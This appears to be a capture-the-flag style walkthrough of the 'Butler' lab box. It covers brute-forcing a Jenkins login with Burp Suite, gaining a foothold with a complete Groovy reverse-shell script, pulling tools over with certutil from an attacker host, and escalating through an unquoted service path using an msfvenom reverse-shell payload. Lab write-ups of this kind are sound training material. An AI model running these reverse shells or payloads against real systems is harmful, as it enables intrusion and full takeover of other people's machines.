Walkthrough: Butler
The Butler box is a Windows target running Jenkins. A Burp cluster bomb attack finds the Jenkins login, a Groovy reverse shell gives a foothold, and an unquoted service path escalates to administrator.
Credentials
Low Privilege User - butler:JeNkIn5@44
Admin - administrator:A%rc!BcA!
Discovery and Scan
Passive recon on the network finds a vulnerable machine at 192.168.57.11:
sudo netdiscover -r 192.168.57.0/24
Then an nmap scan against 192.168.57.11:
There's no existing vulnerability against Jetty 9.4.41, but a web service is running that may reveal more attack vectors.
Check SMB
SMB (445) is open and, strangely enough, doesn't require message signing. Worth checking:
sudo nmap -p 445 --script smb2-security-mode 192.168.57.11
sudo nmap -p 139 --script smb2-security-mode 192.168.57.11
Both scans reveal that the box is a VM. Then an MSF scan against the target's SMB version:
- The target is running
SMB 3.1.1. - It could be vulnerable to
CVE-2020-0796 (SMBghost - Coronablue). The MSF module iswindows/local/cve_2020_0796_smbghost.
The Web Service
The web service at http://192.168.57.11:8080 reveals this page:
Brute Force with Burp Suite
Intercept a failed login attempt with Burp Suite to set up a Cluster Bomb attack:
After intercepting the failed login, right-click in the Raw intercept pane inside the Proxy Tab and choose Send to Intruder:
Click admin and Add, then click password and Add. These are the parameters for the Cluster Bomb attack.
Set Payload 1 with a list of potential usernames:
Payload 2 with potential passwords:
Together these create 15 unique brute force patterns. After starting the attack, a noticeable change in the Length column reveals that jenkins:jenkins is a successful login. The length leading up to it was a constant 316, but after jenkins:jenkins it dropped to 313, an indication of a login:
The version is Jenkins 2.289.3.
Groovy Reverse Shell
Go to Manage Jenkins and open the Script Console. Use a Groovy Reverse Shell: https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
String host="OUR_IP";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
First open up port 4444:
nc -lvnp 4444
Then paste the reverse shell in with our localhost IP and port 4444:
And we have a shell. Time to elevate.
Enumerate for Privesc
Enumerate the system to find a way to privesc. Try systeminfo:
The OS version could lead to a potential vulnerability, but it's not worth the effort.
Use WinPEAS to scan the system for attack vectors. Start a Python3 server in the /transfers folder where our privesc tools live:
python3 -m http.server 80
Pull WinPEAS over with certutil.exe, which functions just like wget:
certutil.exe -urlcache -f http://ATTACKER_IP/winpeas.exe winpeas.exe
Then run it:
winpeas.exe
Unquoted Service Path
WinPEAS finds an Unquoted Service Path vulnerability:
Windows scans an unquoted file path (C:\Program Files (x86) rather than "C:\Program Files (x86)") for the first .exe instance to run. We can abuse this by uploading malware named Wise.exe, which Windows will execute as administrator. That is our avenue to a shell.
Create the malware:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7777 -f exe > Wise.exe
Create a new netcat listener:
nc -lvnp 7777
Transfer the file to the target's C:\Program Files (x86)\Wise folder. Serve it from the attack box:
python3 -m http.server 80
On the target box:
certutil.exe -urlcache -f http://192.168.57.5/Wise.exe Wise.exe
Restart the Service
Kill the Wise Care 365 (Wise Boot Assistant) service so it gets run again by the Administrator account via automation. This tricks the system into executing Wise.exe instead, giving a root-level shell on port 7777.
sc stop WiseBootAssistant
Confirm it has stopped:
sc query WiseBootAssistant
Now start it back up:
sc start WiseBootAssistant
It hangs up, which is a fantastic sign: it means we got our root shell.
Pwned.